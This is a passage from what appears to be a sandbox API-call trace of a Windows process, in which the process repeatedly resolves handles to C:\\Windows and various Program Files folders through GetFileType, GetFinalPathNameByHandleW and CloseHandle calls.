lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Uninstall Information") returned 0x2a [0059.287] CloseHandle (hObject=0xc4) returned 1 [0059.287] GetFileType (hFile=0x128) returned 0x1 [0059.287] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.289] CloseHandle (hObject=0x128) returned 1 [0059.289] GetFileType (hFile=0xc4) returned 0x1 [0059.289] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Sidebar") returned 0x24 [0059.290] CloseHandle (hObject=0xc4) returned 1 [0059.290] GetFileType (hFile=0x128) returned 0x1 [0059.290] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.291] CloseHandle (hObject=0x128) returned 1 [0059.292] GetFileType (hFile=0xc4) returned 0x1 [0059.292] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Sidebar") returned 0x24 [0059.293] CloseHandle (hObject=0xc4) returned 1 [0059.293] GetFileType (hFile=0x128) returned 0x1 [0059.293] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.294] CloseHandle (hObject=0x128) returned 1 [0059.295] GetFileType (hFile=0xc4) returned 0x1 [0059.295] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\MSBuild") returned 0x1c [0059.296] CloseHandle (hObject=0xc4) returned 1 [0059.296] GetFileType (hFile=0x128) returned 0x1 [0059.296] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.298] CloseHandle (hObject=0x128) returned 1 [0059.298] GetFileType (hFile=0xc4) returned 0x1 [0059.298] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Media Player") returned 0x29 [0059.299] CloseHandle (hObject=0xc4) returned 1 [0059.299] GetFileType (hFile=0x128) returned 0x1 [0059.299] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.300] CloseHandle (hObject=0x128) returned 1 [0059.301] GetFileType (hFile=0xc4) returned 0x1 [0059.301] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\DVD Maker") returned 0x1e [0059.302] CloseHandle (hObject=0xc4) returned 1 [0059.302] GetFileType (hFile=0x128) returned 0x1 [0059.302] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.303] CloseHandle (hObject=0x128) returned 1 [0059.303] GetFileType (hFile=0xc4) returned 0x1 [0059.303] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft Analysis Services") returned 0x36 [0059.304] CloseHandle (hObject=0xc4) returned 1 [0059.304] GetFileType (hFile=0x128) returned 0x1 [0059.305] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.306] CloseHandle (hObject=0x128) returned 1 [0059.306] GetFileType (hFile=0xc4) returned 0x1 [0059.306] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Journal") returned 0x24 [0059.307] CloseHandle (hObject=0xc4) returned 1 [0059.307] GetFileType (hFile=0x128) returned 0x1 [0059.307] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.356] CloseHandle (hObject=0x128) returned 1 [0059.356] GetFileType (hFile=0xc4) returned 0x1 [0059.356] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Reference Assemblies") returned 0x2f [0059.357] CloseHandle (hObject=0xc4) returned 1 [0059.357] GetFileType (hFile=0x128) returned 0x1 [0059.357] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.358] CloseHandle (hObject=0x128) returned 1 [0059.359] GetFileType (hFile=0xc4) returned 0x1 [0059.359] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Mozilla Maintenance Service") returned 0x36 [0059.360] CloseHandle (hObject=0xc4) returned 1 [0059.360] GetFileType (hFile=0x128) returned 0x1 [0059.360] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.361] CloseHandle (hObject=0x128) returned 1 [0059.361] GetFileType (hFile=0xc4) returned 0x1 [0059.361] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Uninstall Information") returned 0x30 [0059.362] CloseHandle (hObject=0xc4) returned 1 [0059.363] GetFileType (hFile=0x128) returned 0x1 [0059.363] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.364] CloseHandle (hObject=0x128) returned 1 [0059.364] GetFileType (hFile=0xc4) returned 0x1 [0059.364] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Common Files") returned 0x21 [0059.365] CloseHandle (hObject=0xc4) returned 1 [0059.365] GetFileType (hFile=0x128) returned 0x1 [0059.365] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.367] CloseHandle (hObject=0x128) returned 1 [0059.367] GetFileType (hFile=0xc4) returned 0x1 [0059.367] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft Visual Studio 8") returned 0x34 [0059.368] CloseHandle (hObject=0xc4) returned 1 [0059.368] GetFileType (hFile=0x128) returned 0x1 [0059.368] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.369] CloseHandle (hObject=0x128) returned 1 [0059.370] GetFileType (hFile=0xc4) returned 0x1 [0059.370] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Portable Devices") returned 0x33 [0059.371] CloseHandle (hObject=0xc4) returned 1 [0059.371] GetFileType (hFile=0x128) returned 0x1 [0059.371] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.372] CloseHandle (hObject=0x128) returned 1 [0059.373] GetFileType (hFile=0xc4) returned 0x1 [0059.373] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Common Files") returned 0x27 [0059.374] CloseHandle (hObject=0xc4) returned 1 [0059.374] GetFileType (hFile=0x128) returned 0x1 [0059.374] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.375] CloseHandle (hObject=0x128) returned 1 [0059.375] GetFileType (hFile=0xc4) returned 0x1 [0059.375] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Office") returned 0x25 [0059.376] CloseHandle (hObject=0xc4) returned 1 [0059.377] GetFileType (hFile=0x128) returned 0x1 [0059.377] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.378] CloseHandle (hObject=0x128) returned 1 [0059.378] GetFileType (hFile=0xc4) returned 0x1 [0059.378] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft SQL Server Compact Edition") returned 0x39 [0059.379] CloseHandle (hObject=0xc4) returned 1 [0059.380] GetFileType (hFile=0x128) returned 0x1 [0059.380] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.381] CloseHandle (hObject=0x128) returned 1 [0059.381] GetFileType (hFile=0xc4) returned 0x1 [0059.381] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Uninstall Information") returned 0x30 [0059.382] CloseHandle (hObject=0xc4) returned 1 [0059.382] GetFileType (hFile=0x128) returned 0x1 [0059.382] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.383] CloseHandle (hObject=0x128) returned 1 [0059.384] GetFileType (hFile=0xc4) returned 0x1 [0059.384] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft Office") returned 0x2b [0059.385] CloseHandle (hObject=0xc4) returned 1 [0059.385] GetFileType (hFile=0x128) returned 0x1 [0059.385] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.386] CloseHandle (hObject=0x128) returned 1 [0059.386] GetFileType (hFile=0xc4) returned 0x1 [0059.386] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\MSBuild") returned 0x1c [0059.388] CloseHandle (hObject=0xc4) returned 1 [0059.388] GetFileType (hFile=0x128) returned 0x1 [0059.388] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.389] CloseHandle (hObject=0x128) returned 1 [0059.389] GetFileType (hFile=0xc4) returned 0x1 [0059.389] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Synchronization Services") returned 0x37 [0059.390] CloseHandle (hObject=0xc4) returned 1 [0059.390] GetFileType (hFile=0x128) returned 0x1 [0059.390] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.391] CloseHandle (hObject=0x128) returned 1 [0059.392] GetFileType (hFile=0xc4) returned 0x1 [0059.392] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\MSBuild") returned 0x22 [0059.393] CloseHandle (hObject=0xc4) returned 1 [0059.393] GetFileType (hFile=0x128) returned 0x1 [0059.393] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.394] CloseHandle (hObject=0x128) returned 1 [0059.394] GetFileType (hFile=0xc4) returned 0x1 [0059.395] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft.NET") returned 0x28 [0059.395] CloseHandle (hObject=0xc4) returned 1 [0059.396] GetFileType (hFile=0x128) returned 0x1 [0059.396] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.397] CloseHandle (hObject=0x128) returned 1 [0059.397] GetFileType (hFile=0xc4) returned 0x1 [0059.397] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Portable Devices") returned 0x2d [0059.398] CloseHandle (hObject=0xc4) returned 1 [0059.398] GetFileType (hFile=0x128) returned 0x1 [0059.398] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.399] CloseHandle (hObject=0x128) returned 1 [0059.399] GetFileType (hFile=0xc4) returned 0x1 [0059.399] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Defender") returned 0x2b [0059.400] CloseHandle (hObject=0xc4) returned 1 [0059.400] GetFileType (hFile=0x128) returned 0x1 [0059.401] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.480] CloseHandle (hObject=0x128) returned 1 [0059.481] GetFileType (hFile=0xc4) returned 0x1 [0059.481] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Mozilla Firefox") returned 0x2a [0059.482] CloseHandle (hObject=0xc4) returned 1 [0059.482] GetFileType (hFile=0x128) returned 0x1 [0059.482] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.484] CloseHandle (hObject=0x128) returned 1 [0059.484] GetFileType (hFile=0xc4) returned 0x1 [0059.484] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\MSBuild") returned 0x1c [0059.486] CloseHandle (hObject=0xc4) returned 1 [0059.486] GetFileType (hFile=0x128) returned 0x1 [0059.486] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.487] CloseHandle (hObject=0x128) returned 1 [0059.487] GetFileType (hFile=0xc4) returned 0x1 [0059.487] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Defender") returned 0x2b [0059.488] CloseHandle (hObject=0xc4) returned 1 [0059.488] GetFileType (hFile=0x128) returned 0x1 [0059.489] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.490] CloseHandle (hObject=0x128) returned 1 [0059.490] GetFileType (hFile=0xc4) returned 0x1 [0059.490] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Uninstall Information") returned 0x30 [0059.491] CloseHandle (hObject=0xc4) returned 1 [0059.491] GetFileType (hFile=0x128) returned 0x1 [0059.491] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.492] CloseHandle (hObject=0x128) returned 1 [0059.492] GetFileType (hFile=0xc4) returned 0x1 [0059.492] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Photo Viewer") returned 0x2f [0059.493] CloseHandle (hObject=0xc4) returned 1 [0059.493] GetFileType (hFile=0x128) returned 0x1 [0059.494] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.495] CloseHandle (hObject=0x128) returned 1 [0059.495] GetFileType (hFile=0xc4) returned 0x1 [0059.495] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Defender") returned 0x2b [0059.496] CloseHandle (hObject=0xc4) returned 1 [0059.497] GetFileType (hFile=0x128) returned 0x1 [0059.497] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.498] CloseHandle (hObject=0x128) returned 1 [0059.498] GetFileType (hFile=0xc4) returned 0x1 [0059.498] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft Office") returned 0x2b [0059.499] CloseHandle (hObject=0xc4) returned 1 [0059.499] GetFileType (hFile=0x128) returned 0x1 [0059.499] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.500] CloseHandle (hObject=0x128) returned 1 [0059.500] GetFileType (hFile=0xc4) returned 0x1 [0059.500] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft Office") returned 0x2b [0059.501] CloseHandle (hObject=0xc4) returned 1 [0059.502] GetFileType (hFile=0x128) returned 0x1 [0059.502] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.503] CloseHandle (hObject=0x128) returned 1 [0059.503] GetFileType (hFile=0xc4) returned 0x1 [0059.503] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Media Player") returned 0x29 [0059.504] CloseHandle (hObject=0xc4) returned 1 [0059.504] GetFileType (hFile=0x128) returned 0x1 [0059.504] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.506] CloseHandle (hObject=0x128) returned 1 [0059.506] GetFileType (hFile=0xc4) returned 0x1 [0059.506] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Office") returned 0x25 [0059.507] CloseHandle (hObject=0xc4) returned 1 [0059.507] GetFileType (hFile=0x128) returned 0x1 [0059.507] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.508] CloseHandle (hObject=0x128) returned 1 [0059.508] GetFileType (hFile=0xc4) returned 0x1 [0059.508] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Internet Explorer") returned 0x2c [0059.509] CloseHandle (hObject=0xc4) returned 1 [0059.509] GetFileType (hFile=0x128) returned 0x1 [0059.510] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.511] CloseHandle (hObject=0x128) returned 1 [0059.511] GetFileType (hFile=0xc4) returned 0x1 [0059.511] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft.NET") returned 0x28 [0059.512] CloseHandle (hObject=0xc4) returned 1 [0059.512] GetFileType (hFile=0x128) returned 0x1 [0059.512] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.513] CloseHandle (hObject=0x128) returned 1 [0059.514] GetFileType (hFile=0xc4) returned 0x1 [0059.514] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Analysis Services") returned 0x30 [0059.515] CloseHandle (hObject=0xc4) returned 1 [0059.515] GetFileType (hFile=0x128) returned 0x1 [0059.515] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.516] CloseHandle (hObject=0x128) returned 1 [0059.516] GetFileType (hFile=0xc4) returned 0x1 [0059.516] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Mozilla Maintenance Service") returned 0x36 [0059.517] CloseHandle (hObject=0xc4) returned 1 [0059.517] GetFileType (hFile=0x128) returned 0x1 [0059.517] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.518] CloseHandle (hObject=0x128) returned 1 [0059.518] GetFileType (hFile=0xc4) returned 0x1 [0059.519] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\MSBuild") returned 0x22 [0059.520] CloseHandle (hObject=0xc4) returned 1 [0059.520] GetFileType (hFile=0x128) returned 0x1 [0059.520] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.521] CloseHandle (hObject=0x128) returned 1 [0059.521] GetFileType (hFile=0xc4) returned 0x1 [0059.521] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Synchronization Services") returned 0x37 [0059.522] CloseHandle (hObject=0xc4) returned 1 [0059.523] GetFileType (hFile=0x128) returned 0x1 [0059.523] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.524] CloseHandle (hObject=0x128) returned 1 [0059.524] GetFileType (hFile=0xc4) returned 0x1 [0059.524] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Office") returned 0x25 [0059.525] CloseHandle (hObject=0xc4) returned 1 [0059.525] GetFileType (hFile=0x128) returned 0x1 [0059.525] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.583] CloseHandle (hObject=0x128) returned 1 [0059.583] GetFileType (hFile=0xc4) returned 0x1 [0059.583] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft SQL Server Compact Edition") returned 0x39 [0059.584] CloseHandle (hObject=0xc4) returned 1 [0059.584] GetFileType (hFile=0x128) returned 0x1 [0059.584] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.585] CloseHandle (hObject=0x128) returned 1 [0059.586] GetFileType (hFile=0xc4) returned 0x1 [0059.586] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Internet Explorer") returned 0x2c [0059.587] CloseHandle (hObject=0xc4) returned 1 [0059.587] GetFileType (hFile=0x128) returned 0x1 [0059.587] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.588] CloseHandle (hObject=0x128) returned 1 [0059.588] GetFileType (hFile=0xc4) returned 0x1 [0059.588] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Internet Explorer") returned 0x2c [0059.589] CloseHandle (hObject=0xc4) returned 1 [0059.589] GetFileType (hFile=0x128) returned 0x1 [0059.589] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.590] CloseHandle (hObject=0x128) returned 1 [0059.590] GetFileType (hFile=0xc4) returned 0x1 [0059.591] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Reference Assemblies") returned 0x2f [0059.592] CloseHandle (hObject=0xc4) returned 1 [0059.592] GetFileType (hFile=0x128) returned 0x1 [0059.592] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.593] CloseHandle (hObject=0x128) returned 1 [0059.593] GetFileType (hFile=0xc4) returned 0x1 [0059.594] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Mozilla Maintenance Service") returned 0x36 [0059.594] CloseHandle (hObject=0xc4) returned 1 [0059.595] GetFileType (hFile=0x128) returned 0x1 [0059.595] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0059.596] CloseHandle (hObject=0x128) returned 1 [0059.596] GetFileType (hFile=0xc4) returned 0x1 [0059.596] GetFinalPathNameByHandleW 